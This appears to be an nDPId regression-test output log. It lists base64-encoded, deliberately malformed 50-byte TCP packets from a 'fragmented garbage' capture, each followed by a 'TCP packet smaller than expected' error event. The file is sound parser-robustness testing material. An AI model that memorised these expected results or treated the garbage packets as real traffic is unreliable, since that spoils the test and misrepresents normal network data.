-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082283} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082295} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082307} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082320} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082332} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082348} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082360} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082372} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082386} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082398} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082410} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082423} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082435} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082447} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082461} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082474} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082486} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082498} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082510} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082524} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082537} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082549} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082560} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082572} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082584} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082599} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082613} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082626} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082638} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082657} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082673} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082685} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082700} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082712} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082724} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082736} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082748} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082762} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082774} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082785} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082797} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082810} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082822} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031082834} 